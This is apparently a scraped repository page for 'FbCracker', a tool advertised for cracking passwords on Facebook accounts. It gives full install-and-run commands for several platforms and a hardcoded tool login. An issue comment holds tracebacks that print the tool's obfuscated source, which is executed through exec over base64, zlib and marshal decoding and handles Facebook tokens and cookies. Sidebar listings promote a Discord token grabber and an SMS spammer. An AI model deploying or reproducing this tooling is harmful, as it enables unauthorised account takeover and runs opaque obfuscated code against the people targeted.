A multi-password‌ cracking tool that can help you hack facebook accounts very quickly

Overview

FbCracker

This is a multi-password‌ cracking tool that can help you hack facebook accounts very quickly.

Facebook Hacking Tool

Installation On Termux

$ apt update
$ apt upgrade
$ pkg install git
$ pkg install python
$ pkg install python2
$ pip2 install requests
$ pip2 install mechanize
$ git clone https://github.com/RedHackkErR/FbCracker.git
$ cd FbCracker
$ ls
$ chmod +x *
$ python2 RedTool.py
 
 

 Tool Installation successful

Username - RedHackers
Password -Army

For iSH

To use the application, type in the following commands in iSH.

apk add git
apk add python2
apk add py3-pip
apk add python2
gem install toilet
git clone https://github.com/RedHackkErR/FbCracker.git
cd FbCracker
chmod +x *
python2 RedTool.py

 Tool Installation successful

For Debian-based GNU/Linux distributions

To use the application, type in the following commands in GNU/Linux terminal.

sudo apt install git
git clone https://github.com/RedHackkErR/FbCracker.git
cd FbCrack
python2 RedTool.py


 Tool Installation successful
Install Brew
/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
Install dependencies:
brew install git
brew install python2
sudo easy_install pip
sudo pip install --upgrade pip
git clone https://github.com/RedHackkErR/FbCracker.git
cd FbCracker
python2 RedTool.py

Tool Installation successful

Support

Join Red Hackers Army Group

Warning:

  • this script is only for educational purposes
  • i am not responsible for your actions.

That's All :)

  • This Script Coded By Red H4cker
  • Thanks For Usage
  • Have A Nice Day...GoodBye :)

Databay showcase gif

Alt text

Databases:

Tools:

Programming languages:

You might also like...
AHA is an incident management & communication framework to provide real-time alert customers when there are active AWS event(s). For customers with AWS Organizations, customers can get aggregated active account level events of all the accounts in the Organization. Customers not using AWS Organizations still benefit alerting at the account level.
A code that can make your 5 accounts stay 24/7 in a discord voice channel!

Voicecord A code that can make your 5 accounts stay 24/7 in a discord voice channel! Usage ・Fork the repo ・Clone it to replit ・Install the required pa

A bot can play all variants, but standard are abit weak, so if you need strongest you can change fsf instead of stockfish_14_Dev

MAINTAINERS Drdisrespect1 and drrespectable lichess-bot Engine communication code taken from https://github.com/ShailChoksi/lichess-bot by ShailChoksi

Send SMS text messages via email with as many accounts as you want :)
Send SMS text messages via email with as many accounts as you want :)

SMS-Spammer Send SMS text messages via email with as many accounts as you want :) Example Set Up Guide! To start log into the gmail account you would

PyLyrics Is An [Open-Source] Bot That Can Help You Get Song Lyrics
PyLyrics Is An [Open-Source] Bot That Can Help You Get Song Lyrics

PyLyrics-Bot Telegram Bot To Search Song Lyrics From Genuis. 🤖 Demo: 👨‍💻 Deploy: ❤ Deploy Your Own Bot : Star 🌟 Fork 🍴 & Deploy -Easy Way -Self-h

[OSGIFI] - INFORMATION GATHERING TOOL, FROM INSTAGRAM ACCOUNTS.
[OSGIFI] - INFORMATION GATHERING TOOL, FROM INSTAGRAM ACCOUNTS.

⚡ OSGIFI THIS TOOL PERMIT YOU TO DISCOVERING & GATHERING INFO FROM INSTAGRAM ACCOUNTS, FOR EXAMPLE: Full Name Verified Account Or Not Private Account

A discord nuking tool made by python, this also has nuke accounts, inbuilt Selfbot, Massreport, Token Grabber, Nitro Sniper and ALOT more!
A discord nuking tool made by python, this also has nuke accounts, inbuilt Selfbot, Massreport, Token Grabber, Nitro Sniper and ALOT more!

Disclaimer: Rage Multi Tool was made for Educational Purposes This project was created only for good purposes and personal use. By using Rage, you agr

AWS Auto Inventory allows you to quickly and easily generate inventory reports of your AWS resources.
AWS Auto Inventory allows you to quickly and easily generate inventory reports of your AWS resources.

Photo by Denny Müller on Unsplash AWS Automated Inventory ( aws-auto-inventory ) Automates creation of detailed inventories from AWS resources. Table

Comments
  • Oh Boy...

    Oh Boy...

    Traceback (most recent call last): File "/home/insertusernamehere/Desktop/FbCracker-main/RedTool.py", line 6, in <module> exec(marshal.loads(zlib.decompress(base64.b16decode("789CCD3C5B701B4772B3200112E043224589A265D92B51A428890408F02D9AB264BDCFB6A482E4A38E96022DB10372412C16DA5D88A48A72E94ECE45A95CE23827F9EA2E765C775795E4722F5FEE2B7549D5952B55F9CA4F92ABFCE423C5DFFCB82A3FF94BBA7B767601027CC8D22501168379F54C77CF4C4F4FF70059E6BD1AE1731A3ECEC310633A3C0A2B3036E7C71536A7C87888CD8564BC81CD35C878239B6B94F1309B0BCB7884CD4564BC89CD35C978339B6B96F1289B8BCA788CCDC564BC85CDB5C8782B9B6BA5788815DA98D9CEE6DA9982E90656D8C5CCDD6C6EB74837625DB383CD7530857732AEB0470AC41496DFC3F4B048B4B27C077B04247631DEC5F27B19DF270A20D1CDB0783FCBF7600D1D906F823245D107D88282D5332F313DC6DE07E8034C6FA1C8CB4C6FA5C841A6B751E415A6038AAF327D172555A6038687D802C40F63A8F552788472FA28EC673A607D94E99D6C6E8071C6F2C798BE87F0D2BBD8C54BFA5E0CF6B1B9E34CEF66732798BE9FCD0DB2956F323E88F1A510B327437C88E93D083417671C9EE394DF4BF92F517E8271784E507E7B483F80D5BA2F5EE221961F66FACBA2C383D8F4DDB190FE0A74EAE1F22A15DDFDA5A2AB41E6219939AB1F2652934CEFA5488AE9472832C2F43E8A8C32BD9F22638C8F33FD28A1B016E249E4B452A481BE3E700C66A2F1DFF0BA32A040D48D417063D1E69A7ECDB20A226F170467AD6291675DC32A9EB76DCB16054D10BC615BCB0EB75D9CD6653737E93643C4D45632AE617203AB39D8E63B5067E8CC022FBA4E1A92574BDCD61253F1C96175E04C51B72D439F5629537DDB281A8991547C389E4A8D8D2626C7E2EA3BD3AAA11F53AFD9DC71AD442A9E4CC5475323EA57B9ED0042094826C7B3727D619767B1DB7D8C68BC78C905E6C18C0C11E1306BAF0FC0CA63579C16080FBC9B9C9E4A9AE7570C77A00169C222CB7131EEAC3A4416C7426C3A081CACA62FB811F85AE285B266636F4E23211056B28AB7D09B2532D705320F145C530F426CE52403B4CEDD4EB1070D6C2D842B6B4D612EA109ABCAA5240C362CA2FD8F42ACA77BAD81754F00E0DD3D6C16B0029047387E88C0151A086DD1D5EFE7B32EA2E062FF870C8CD2100C8465E60AA16C6B45DD32090CA346D125820B303C5833CB5D6D69A051C2CC53B84CA14EA151CB09ACAD65B5A50372C4991281779B322CB881ED36496EBCE77363E50C127AEEF61432056279E691866C69C471037E41CE3E60904BAC414640F93EE0CA834676B78DCD423D60D304A43C8808C91E2A07BAF29019C622902DDDB4DE700AE0C85C4947111B24FD509FE334D17CE873A693A6F1AA1CCE03EF0E9B44E3A16107E98811CB894D4651E72B8289BC54D0806B346B5C3B4D552294D0ADB24BB5976DC3E53410E90E0C3A31E8923CCEA75BEB4DB0F46EF8EAC574BBC7D236659732A0C4944EC156ACD620D98AC1CA6B6C8D98DB7DEEF63072D89FFD6242295EBA8156834BBCD14342AEB4B059E24D032D0FA276E17BDFC5D7DFBC4E641361E91E0C5E925CC815CACE220D3FAE78CA720A9C976891116DF729E4B57306EBE6B582561CC2CC66A2B043D90D343A3F869189A9B5AF8CFFAA570AAFF87BBDF2D5D737FD5EBC7EB5446FC50BEADDD9A252E2BD5BF040A5C1E9C13AB5D6BC566E11C834BCE283F1B57ADDAEF93DDE4AF44DD7A979F3665033F1DE7BB70839A886F1E9C135BF562C0088C76F4A1028B754F516822428BA16F740B096044290B884827E6E212F1308246271AF1FAF1A80DDC49797126DDCF20949DC223AA60707D54475FBF88ADD041CBC64DF60FC741534B080807DC8D3BD7D831E34201E00DF14451EF89A3F6608EB5128CB6F5600ABB77C327DF0B55E15DF7DEA34BE89D28AA6111A7041927B015A0E466595AA5775FE4D84ED052EF7F64262B35AF5F3B07A6F6C503D0CD8DDDCAA626D6337A13F1CDA3BC0942AD0AABA7590402E1E05C8B87A14E33508C6074FD7471E2ADF394CB329AE1E9E3EACAAB5A0F539367DF80EF42557E4D18DC59BE0295E8312EC8E5AB30825D0E91AC03B9B0809823A7DDA0B62B198A706AC3FF95B75FDA3F7E1F3D8FB401CF3E4A7B6CC07F5B3377C08AC6ED9B6A09B7F5E04E8E6886D464815E84EC145DD1AD0AD9AA8AEB329E846F0DAF22D412578FD326F4EA4CCF5A73FF9120F018F984369AEAB3740931E7AAED6E091A41C5F7FFA64FDE91F7FC9E7938FD61FFEE0DF7FF9079F7FA67EFE197C430AF376DAC0778EC754C2630266DE0FEB3E67CAEEA265AB5734939F5491FA4B5A7689DBDB40553E5B7731BBA8B98E562AA957CAE649F5C4547262646C3C353E39999C4462366D73F346FD162FDA56B95489B4A39EB1CDD5ADB0A91895EFFD9F8DCA27C75FC85C9553F5CBB445A7AF2A5DF48250F1753ADA2C34B007A09A0EA36A7AEEF6001D831A5121EDBE58753813DABA6738B8BBCF5347E98C43CA781CE4B688C4FD485C75F0CCD1E65171ADC03587ABB39AE1AA5E567004AAD05F5FC6E02006AF606948AAB3AEE11A4BA4B05AB50A2B9D108DA53BC119671728ABCDAC8DD159CB69A303C348D2BC62B9EA57CB85A2131539291353E2700508DACE85465FBF0521B4FED1437A1E0789CAECF7A99657A5B6F8719DC487F054B6FF3E3D0F37B6FF213D8FA996171791EAE2FA09BFFD8794F65A7DB83186AD05ED3FF4DB7F58B76E4542B45FB1854B69FEF4A7EB4FBE5EE779FAB33A959F3C822912C72505CF773E0025B06E25A20A9F593F06B9F57AAFA87BFE19EABEF55BAA7BF619EA5E7D86BA6F7F593ED4AD0AFAE58CAA9E52371DD2CF3619D29FC7BC554CC3F7F89942821C376779216B991C849B5A25E36ADBDC59B3CF276D2B64EEB8993E5FB5413E7B9B31D5B9CF3C33D633427BAC7FCB5A308AEA9716FE643104686FC7244300EE9AC2226097B933CA7C33DB179F7EFB4339E4D89B8A66C122A80A32F3F35F7DFE2BD5C3A11AF03B9F54015ED31C67D9B2F5BA80689B00B216802620CD2967B3DC7172E5426155D51CD5F0657D4E2B38DCD92BBB1931676DABB8E0B7EDF4A13D455F18B24ABCA82EBA6EC9399948C457ADB25B9EE771985389ECA2562CF242D0C6A8D78624CC395AAF0DB35E2309DA44D12819919BE8BF02AA6283D485F166F525B282D1A68A062E86062EDC39678B3F0A3502CF81AE5C882DC598FD4F214551AA80DD081A439B70EBA56493DC69752CD09B3068C62ACD4C8F920D4E61188F513CC4DC2875B5DA816662B453B610F46C51658D6E0BCBB752BF7FCFD07EDF8AEDB40953B3C26EBAED04B38B657653A4034DF77A3B942B0ADA3D21AB13CDF7AFAD856462377B0D637B846200B12E8C3D6840C3FD5A035B8A30DB0DADC615BD9314097D0FEB06E06EBD8B753F6864460BD3F7327D1F1BD7BBD15E3F0E75A0FD71BD072DF3E3FA0134BED3D741F87A05EDEDE3BA8A16F671B4C67643EA30DAD6C7F52368501F7F1066EE5E96DF874675E44684AD45D07DB126788989FD845F135B0B6301281D6B4D68761F270E0F20E66E0FCBBF84C8EBC7B0D6234579D0CCDC032CFF325B6B66F983D472548EF0711AE1185B03DA5F616B51A69F603DD41964BC2A8CD983BE795B1F12830A5D001971599F0C9E728EDC75618E4085432C7F98C6AA8473444F046305356EA26B6058B2F847213D19F491127DF4B23C706544243CC07F0EE9A35B57ECF367036975636480C525464A5201C550DC5D7149F7B29D4908E5E29ED5ECA2515C38A97A4BEC9CA5A282056B4CFD9A55B6D56B2078ACA25650CF64B356B9E83AA90A60D864A032F781114A53AFF065591BF7051282CE37BFA424AD92A7CFA346FB8F73095089AAC1A9E5E327B5CF5B572F5EBEA2CE5EBE7149BD70E6ECF937AE5E7DB36E3DE268D4392EA91B37DF3D715B0ACBCBE712E74DCD10E88E9927A5D25CB77AD294B2D12B09AAA3FF23106F392DCBE72D6B09E51B89C09807706391DB5C351CB568816C7641487257CDFACE2572BF146DD2A6494473C48DF69212F44C2E1B47BBC787747ECF00A97E11D25AC9C82CF1D599C9C99436393A353C329ED4B5A9C989E1D47C6E6A421B4E25753D9B1CD5B336D779D13540E867DCD5129F2979B4501F330E6AF539CB363577E62BD7AF5E59E0456E6B2ECF985A76D128F28CA1CF24FD4CD837D0F794C9029106776692052BAB15F80C2F66DEB96E723803EB331A1C85E334AF654F33CE34790BDCB25DCC384E2163730726301032337C6F26191F1E4FE526B37C2A37313A9F84E86836991AC9665323A32313DAA83692725580DF8E50E10E125C21779CECDE456FC246361073916072580806D08C49BA7B20ACC306777F65FE064E8851432E507B822D74580AD841258249D4D3B0DBB5095BC837037CA16AF7E8FC65EA63C2CF622CD0CC92930E08AE9A7609F416C22E7C8FDBF1D26289FA2C69B6663AE47A71D1DFA291669071AD255E748EF8D334E52945D77DCD21EE2B7FF1F8B36CE9CEDB15182ED85A69B11A47932772B6C18BBAF3BA37694A96E3F6970DDD99595836CCB2A38DF457623953B19A92DBAE26647B769167974A1614933E23D569129C5202420B56513D1BD4C489629BEA909D537DC12C9CB9AFFA6D8CFAC24048106C6519959F817E5409E9304D3EB055C7E5264D33E418454C5E2CD3D47C93AF924399E6ECE5AB22DE28F6032B7D08DBC0DDC1D69633B08CCA6E1A4789A4C4BC4D2526475E1BF73935F74EFA2D6A228D096AE706A8A0549401C6BB96BD4A3D194E66D1350B2EC9135E00766570E613044508F1F2BC69B8145DC0B95920D045CD592C18F334078B7C998ACB251D9602E1B3C857746301A61E756AF3BB659C86541B1AA10EF2B059D13229589A2E346697AFB8814B2D5BB01CB12E7136D028F2952C2FE1983A691C86C072E135046334D0229338535C62122C56ECB9B42CBE8186F4EB923380B2465E475A5C5A1A057E1A8797C82C170DD4E76B3D922826BF8BE912E62A6D4A83B24B6951F6402CACC4E01DA6772BBC9BA00CFD7961286F25BF5E1B94634983B24FB94EC69356A54B89287B954E487510741BA4B0BDB0D20EA561011512DFA42287BD0FA9C8BFA36C54917BAA5464E1E8044579B6788EA1868C7A4F816DD48D4127F69517A1140327F311F4257BBAB2545E56675029CE47D19DBCC6C8A3FC4068B02DE4C06EF5B46554239B598FE7DE8F42AC1170C8010E6D84C317B538C47684432F340108B4A33A8D0D752AA8C4B520ECEE40E1AE52FC3B50B547951CB46EF49F83E6DD0D895DA8BE7683A68D09AAD389C11E6CAA33B82DD1B589A64633C6E962FE29ED064A281044F7B40208B0CD65C889ED84E2EB55228F662B1EA6D2F3087D24E8706B21D61FA873DB084A07E7952A55A2CF7F3C04AF5AAB00E67AD233385DE2414FBD5CCC591EF0E6A0439FFF8AA46734307B9099DC6BF2A43CBDEE63FE7954AD7E390737805F3EB71178EF66C0CE53F63CCAED6F45CBF574DD6989D98419B04E3A4C4EC95149C6BDC87557B35DF56CC1C233411CF6E32DE093123E690EC72BEEFA547266608FDCAED22851D2E7A480C45B50E98B55D296A45FFA26065FC3600E837731B885011ABDD3190C4848E30E90BE24A572C928188BC20CAD313AB8C386E82EA773B23F98E21A4DF15AA17B1EBE7E83E9D3BED0ED218128C4620BA4F780088D81C80C726324445B281DF6F2F14D42545E1E21218A26249779E20264E51A5DFDC30B6347518C8238508464B94A458D543483729672A728374CB979244C4A2C71BBA4495A1FA8726B558BC15D1C07AFB948C5E6ECA265E139ADA85EA55DEFD4A953F22894C6EDD0D91F08810B46A1802B316BD9362CE7C26A1A8F96699C156490175229CD4DEB1EAF2F950670C34B5FC6202F47CB2997B84D0A48C5D44044E9EA5B7AA1EE3021F47F49F418ED7461DAF1C447EC63FE4D357F0FFB16DBC91EA6E1FE3101C23F4C623F437696DA6D2BC2F24DFE00346FB22144AB0C3E3A266107F30724F6A225FE8540F86CBA44FD253E66E2E2E6EA05DB322140F5587DCB70DC2F3EFDF02771E76B3B6A2A55A7A96BE5F9829105A1090DFDE5FAC33F0CBEFEDCFB8A3B891DB4EECB9251F30D2DBB447AD706F99136E432AF2B404826B4489990A1B956FF8661DA84AF66E0A1830E2B16922B5FAE7BB9A6BD69D55A39ADFE22B4C355FD8112ACEA1FE0CC830927A7134E30B20FBA952B19A75833EA4152FD89B27C8CD49F164FFD5939A9787ACFB9DBDD64FC6A6579D23E40CD2133D6DDF7613E7751D72DD4F513A5B66BC45F68548D8CD0583DC5BCFEDB84F602AA8CC4232CF1084B3C2268F45B8BA035B107949CD9E251583FEDB47E26496DEAF0FAE8145DEE0A6C54A40555F5D415F45497E24BAC92E22649715340F13D65B67898C6612F51FC578A54D93648C57D0C7436D0C15CA2FD113A4A6900BA85A2B89F093B26FA559BC9AFDA2CFCAAA0951E40D35FF74538BCE7E9B635994FF7A149D2BB6E7CF73F9459FD200EEB2BDEB08ABBC674D1583F8477861FC4181CF2F5C34419A8B52D78417B2D46E884A4BDB817832318F4496C5F92D8EAFDC02B917720A0403FEA717B40707B7720718E6DD802465FC4164002ECFFAFDE73506236665E84F31A6833209B1C695143CD6684EDD47A50A530A739528F9A041DED52640F95B63C5FAAF926C0F3A81057E89292CDE457DFA27BBA935ADD338178EDD4E8B613A69A5EACDA40D0FC48A6DC0BA0C1EB8748C6494BE1BB1E0C8A582FEB3655F0DAAC6099D716720C95E74D98420A815AB977B95AC107F7E91E35835E5295D7092AC6658BBB08DD4CDE45002DC606DC01C7CA7B088ECD0233139E34EA1E1636FA27AFBB5649BD665B480FDD8377D4B337D26F9D98ABF675D2F1A34E8370F2F8E4052E8371B3FA8E4C71D59BC6CFB51C3E60D2684F4CA6D7179F7EEBD39D7CA4CCF018AE8A3342A970FFFE7D1C3BAFD59DB6267BFFAD1E9A9E8F5B74F9BBDDDBEDF1C705CE9B11DAE1616B42075DA5B6375BEC805D4F78058FA3D648668CCE8877DB2624FC670D20B1C362770B795B2C6C67F966EF323EA807789D9E763DD8A00924C2BA69636CF2B7DF085941C272EF6DC6BD17DD48BFC67D9160620206F601B13B2AB4B7229AC5B5302802B859B7B21E043AAAE86D02A8DD076AC70D1D7673748D35E1DE9ADF8555601F17A8748AB6B040EC2EB00B6DE8666F18F67674BCD5D0D2BC235ABEA5485ADA054C252DCD5E279F3556D3F29F55B4346F4B4BF3D6B4C86E2E37A242D5C57A40A1E846D7610D4DD11DD17427042A878F5EB49AA6A8D7D9BF3554D3F40FA14A9AA2DBD214DD9A26D94DB941D2D40D34C5EAD014DB114DA30DA027F9E8C5AA698A799D356FA0E94F1B2A698A6D4B536C6B9A6437DF0F499A7A80A6963A34B5EC88A6E6C6CAB9D7524D538BD7D968A89A26ABB192A6966D696AD99A26D9CD3F2AA0813E68AD434BEB8E68F9972A5A5AAB6969F53A5954AA69990E57D2D2BA2D2DAD5BD322BB519467128672300FC060B6D56140DB8E18F09B702503DAAA19D0E661B6C0AA19F05AA492016DDB32A06D6B06C86ED03EDE24F706D2C85109BA228C5465775B55107F2398D860B645CFC8C4E4383CCE8715E0F34335AE3AE1FB4A041EC2EA9652231313635353C3536353C9F1B1B1BED4586A6CE2EC702E393AAC69F35CCFCD8F8F69D9D484363132C5F5A4964A8D8FCC27FB3D672EBA5BFA1D7D29734FFC5E7026D5EF797C5157EBAF74DCF6078E5A3CA223D48C6139FD9BBB7DFB1D63616624373636969B9A023C92B9AC3EA169C3D9D1D1DCD8646E2C95E2B9F1F419DCA08F05AA27AA4E5F7CFA27BF2FAD9652DDFBF8BB9E7E35E4A05172C8536B64FE18E4A38D657979B98A7FE478E2E8F7CA98CE4260C31835CFE440B59F38A7AD3A78836A47DD8D5475D729C63F117811C90E9493678B35F133311AEBB7B542A1EC90BB2A67D88E9B419B3D19D392A991D1B16D1910100A3934F300EE19A0C63D28987084CFF0D4E4C4F81899561181814E69A7219CCC25DD106EC7ABD785CF3030EB92E1A6DAB62BFC7C76015D7F4D22EA7B33D18F2756CA9243F5B41214E9C212845EBDF46D6C01AD87592EB83880BA1BC168B6F8F164D9E136F1957E1E282CC6301B937498235EDFA5FAD0825F98F263237E6CD48F8DF9B1713F3651FF979BB01E8A5F412BD3AFC9CA1421C75D9BD208DF07944E25A2BCAAEC525A21AF2BB41BC25D4A8F1283F866F9ED2F287FB3F611A7FA30FB1B1A14030D6DCE1BCC77E98C08974EE501EB1CBFC7710075F58D55BCFC38E49D66AA6BC1B98907D36FFDE3DF9547B04B9AA3BEC179513D6B99A50277A11D3A95ADFFD9F7D5B3AE5D3831175FFFE68FD42B7CC5556FAC96B83A505A0511574C4196BB582EBAB02C8F418DE0E41A0F2EDCC8A3E9D537131EFA67AF49CBE349192189EB2D8484F4FE9C69D8F8ABC9DA1F40AD3F79EC3D4FFF3A8863F2177E7C4BA85FAC7FF424782A1AD91CEA11861FFD9E97F4228FB6027CFAD3F5A73F5B7FF2C37AB7827F2C4AEB75F7483E8F6B1EAFA85E5F9FAD3FFDF9A65054BA2969786FF9DBEB4F3E90B8511C5BDB968D9FF9D5AAE200150B8EF3CF73447C9E27E6CF33954EC295E77D798A8D072FBFF2C9177137FA799EA3B5339E7EDF7346FC626843A1F49456FD8CA8C20A95F2AC50C92A2B14A946C25D546455A67F541A84CF68CBBD844C73E9AF33E931441B3FB9F8D268D34CE3CADEF4972AF8EF0962E330B552FA21E67C03253A5DE4A02B235C5BAAB8CB413627AA6FE8E257FE796B49FCCB41897E7E9E3E8C015A5ED37F24014AB57E08A4B447F1AF7D04AE2DE1818891FFB143D9EFE560A9D83B3ABC8B212D101EF0EBA023AC29B417F2E52F683ABC76C20D51BB952E8DE0FBD8EE7028A6880B3C19DCA53219FAADCEFFCE9F4A0C4CF8E31B91A340B8D0751FC3E4697430A66F30EF4E922DEE00B9F4071A4671418CFB03E6DD62125A236810627ABC89F9380466B9E01A25B1B5A04FBB04AB4B8CF31E16DC218A6FBC0314926A89CD490341FDC6E1AECE731A34C88B598B70F80A56EB10659945ADA81778C6B6E62D57DCD5BB8097E025AC5FCE73C09745AA9041C59DF0BC74E3C6B5B428F13642CB26754FD3F545A01858277CDE780B81FEBA402C065A1647E4049D87A5444C9CE7F6A2E618059AC0622ACF4B06170CC75DB0CBE2DADEBD72A16889BB5318A5B5E6FD2B09D9FBE565FBCA3C7937CD53D060B25F966D97BDEAE9A4BFA8EEF82B30EF2FC8A2AC9F214516269EBF28AAF427ACF29A69E9E5023F8571BA48FA31CC607837C4E88A539BF2B2D2DA100D479BA3B16832128A46224AD53BD4D605B33D84B1086935E21D05C828AC94DDF0E908455F8BF64677473BA27FD7AAFC0FC515951B")))) ValueError: bad marshal data (unknown type code)

    Traceback (most recent call last): File "/home/insertusernamehere/Desktop/FbCracker-main/install.py", line 6, in <module> exec(base64.b64decode('IyEvdXNyL2Jpbi9weXRob24yCiNjb2Rpbmc9dXRmLTgKI1RoZSBDcmVkaXQgRm9yIFRoaXMgQ29kZSBHb2VzIFRvIFJlZEhhY2tlcgojSWYgWW91IFdhbm5hIFRha2UgQ3JlZGl0cyBGb3IgVGhpcyBDb2RlLCBQbGVhc2UgTG9vayBZb3Vyc2VsZiBBZ2Fpbi4uLgojUmVzZXJ2ZWQyMDIxCgoKaW1wb3J0IG9zLHN5cyx0aW1lLGRhdGV0aW1lLHJhbmRvbSxoYXNobGliLHJlLHRocmVhZGluZyxqc29uLHVybGxpYixjb29raWVsaWIscmVxdWVzdHMsbWVjaGFuaXplCmZyb20gbXVsdGlwcm9jZXNzaW5nLnBvb2wgaW1wb3J0IFRocmVhZFBvb2wKZnJvbSByZXF1ZXN0cy5leGNlcHRpb25zIGltcG9ydCBDb25uZWN0aW9uRXJyb3IKZnJvbSBtZWNoYW5pemUgaW1wb3J0IEJyb3dzZXIKCgpyZWxvYWQoc3lzKQpzeXMuc2V0ZGVmYXVsdGVuY29kaW5nKCd1dGY4JykKYnIgPSBtZWNoYW5pemUuQnJvd3NlcigpCmJyLnNldF9oYW5kbGVfcm9ib3RzKEZhbHNlKQpici5zZXRfaGFuZGxlX3JlZnJlc2gobWVjaGFuaXplLl9odHRwLkhUVFBSZWZyZXNoUHJvY2Vzc29yKCksbWF4X3RpbWU9MSkKYnIuYWRkaGVhZGVycyA9IFsoJ1VzZXItQWdlbnQnLCAnT3BlcmEvOS44MCAoQW5kcm9pZDsgT3BlcmEgTWluaS8zMi4wLjIyNTQvODUuIFU7IGlkKSBQcmVzdG8vMi4xMi40MjMgVmVyc2lvbi8xMi4xNicpXQoKCmRlZiBrZWx1YXIoKToKCXByaW50ICJceDFiWzE7OTFtRXhpdCIKCW9zLnN5cy5leGl0KCkKCgpkZWYgYWNhayhiKToKICAgIHcgPSAnYWh0ZHpqYycKICAgIGQgPSAnJwogICAgZm9yIGkgaW4geDoKICAgICAgICBkICs9ICchJyt3W3JhbmRvbS5yYW5kaW50KDAsbGVuKHcpLTEpXStpCiAgICByZXR1cm4gY2V0YWsoZCkKCgpkZWYgY2V0YWsoYik6CiAgICB3ID0gJ2FodGR6amMnCiAgICBmb3IgaSBpbiB3OgogICAgICAgIGogPSB3LmluZGV4KGkpCiAgICAgICAgeD0geC5yZXBsYWNlKCchJXMnJWksJ1wwMzNbJXM7MW0nJXN0cigzMStqKSkKICAgIHggKz0gJ1wwMzNbMG0nCiAgICB4ID0geC5yZXBsYWNlKCchMCcsJ1wwMzNbMG0nKQogICAgc3lzLnN0ZG91dC53cml0ZSh4KydcbicpCgoKZGVmIGphbGFuKHopOgoJZm9yIGUgaW4geiArICdcbic6CgkJc3lzLnN0ZG91dC53cml0ZShlKQoJCXN5cy5zdGRvdXQuZmx1c2goKQoJCXRpbWUuc2xlZXAoMC4xKQoKZGVmIHRva2VueigpOgoJb3Muc3lzdGVtKCdjbGVhcicpCglwcmludCBsb2dvCgl0b2tldCA9IHJhd19pbnB1dCgiXDAzM1sxOzk3bVsrXSBUb2tlbiA6IikKCXRyeToKCQlvdHcgPSByZXF1ZXN0cy5nZXQoJ2h0dHBzOi8vZ3JhcGguZmFjZWJvb2suY29tL21lP2FjY2Vzc190b2tlbj0nK3Rva2V0KQoJCWEgPSBqc29uLmxvYWRzKG90dy50ZXh0KQoJCW5hbWEgPSBhWyduYW1lJ10KCQl6ZWRkID0gb3BlbigibG9naW4udHh0IiwgJ3cnKQoJCXplZGQud3JpdGUodG9rZXQpCgkJemVkZC5jbG9zZSgpCgkJbWVudSgpCglleGNlcHQgS2V5RXJyb3I6CgkJcHJpbnQgIlwwMzNbMTs5MW1bIV0gV3JvbmciCgkJZSA9IHJhd19pbnB1dCgiXDAzM1sxOzkxbVs/XSBcMDMzWzE7OTJtV2FudCB0byBwaWNrIHVwIHRva2VuP1wwMzNbMTs5N21beS9uXTogIikKCQlpZiBlID09IiI6CgkJCWtlbHVhcigpCgkJZWxpZiBlID09InkiOgoJCQlsb2dpbigpCgkJZWxzZToKCQkJa2VsdWFyKCkKCmRlZiBnZXQoZGF0YSk6CglwcmludCAnWypdIEdlbmVyYXRlIGFjY2VzcyB0b2tlbiAnCgoJdHJ5OgoJCW9zLm1rZGlyKCdjb29raWUnKQoJZXhjZXB0IE9TRXJyb3I6CgkJcGFzcwoKCWIgPSBvcGVuKCdjb29raWUvdG9rZW4ubG9nJywndycpCgl0cnk6CgkJciA9IHJlcXVlc3RzLmdldCgnaHR0cHM6Ly9hcGkuZmFjZWJvb2suY29tL3Jlc3RzZXJ2ZXIucGhwJyxwYXJhbXM9ZGF0YSkKCQlhID0ganNvbi5sb2FkcyhyLnRleHQpCgoJCWIud3JpdGUoYVsnYWNjZXNzX3Rva2VuJ10pCgkJYi5jbG9zZSgpCgkJcHJpbnQgJ1sqXSBzdWNjZXNzZnVsbHkgZ2VuZXJhdGUgYWNjZXNzIHRva2VuJwoJCXByaW50ICdbKl0gWW91ciBhY2Nlc3MgdG9rZW4gaXMgc3RvcmVkIGluIGNvb2tpZS90b2tlbi5sb2cnCgkJbWVudSgpCglleGNlcHQgS2V5RXJyb3I6CgkJcHJpbnQgJ1shXSBGYWlsZWQgdG8gZ2VuZXJhdGUgYWNjZXNzIHRva2VuJwoJCXByaW50ICdbIV0gQ2hlY2sgeW91ciBjb25uZWN0aW9uIC8gZW1haWwgb3IgcGFzc3dvcmQnCgkJb3MucmVtb3ZlKCdjb29raWUvdG9rZW4ubG9nJykKCQltZW51KCkKCWV4Y2VwdCByZXF1ZXN0cy5leGNlcHRpb25zLkNvbm5lY3Rpb25FcnJvcjoKCQlwcmludCAnWyFdIEZhaWxlZCB0byBnZW5lcmF0ZSBhY2Nlc3MgdG9rZW4nCgkJcHJpbnQgJ1shXSBDb25uZWN0aW9uIGVycm9yICEhIScKCQlvcy5yZW1vdmUoJ2Nvb2tpZS90b2tlbi5sb2cnKQoJCW1lbnUoKQoKZGVmIHBob25lKCk6CglnbG9iYWwgdG9rZXQKCW9zLnN5c3RlbSgnY2xlYXInKQoJdHJ5OgoJCXRva2V0PW9wZW4oJ2xvZ2luLnR4dCcsJ3InKS5yZWFkKCkKCWV4Y2VwdCBJT0Vycm9yOgoJCXByaW50Ilx4MWJbMTs5NG1Ub2tlbiBpbnZhbGlkIgoJCW9zLnN5c3RlbSgncm0gLXJmIGxvZ2luLnR4dCcpCgkJdGltZS5zbGVlcCgxKQoJCWxvZ2luKCkKCW9zLnN5c3RlbSgnY2xlYXInKQoJCiNEZXY6UmVkIEhhY2tlcgojIyMjIyBMT0dPICMjIyMjCmxvZ28gPSAiIiIKICAgICAgIApcMDMzWzE7OTFt4pS8IOKWhCDilogg4paIIOKWhCDilLwg4pS8IOKUvCDiloQg4paIIOKWiCDiloQg4pS8ClwwMzNbMTs5MW3ilogg4paIIOKWiCDilogg4paIIOKWiCDilLwg4paIIOKWiCDilogg4paIIOKWiCDilogKXDAzM1sxOzkxbeKWiCDilogg4paIIOKWiCDilogg4paIIOKWiCDilogg4paIIOKWiCDilogg4paIIOKWiApcMDMzWzE7OTFt4paIIOKWiCDilogg4paIIOKWiCDilogg4paIIOKWiCDilogg4paIIOKWiCDilogg4paIClwwMzNbMTs5MW3ilLwg4paIIOKWiCDilogg4paIIOKWiCDilogg4paIIOKWiCDilogg4paIIOKWiCDilLwKXDAzM1sxOzkxbeKUvCDilLwg4paIIOKWiCDilogg4paIIOKWiCDilogg4paIIOKWiCDilogg4pS8IOKUvApcMDMzWzE7OTFt4pS8IOKUvCDilLwg4pS8IOKWiCDilogg4paIIOKWiCDilogg4pS8IOKUvC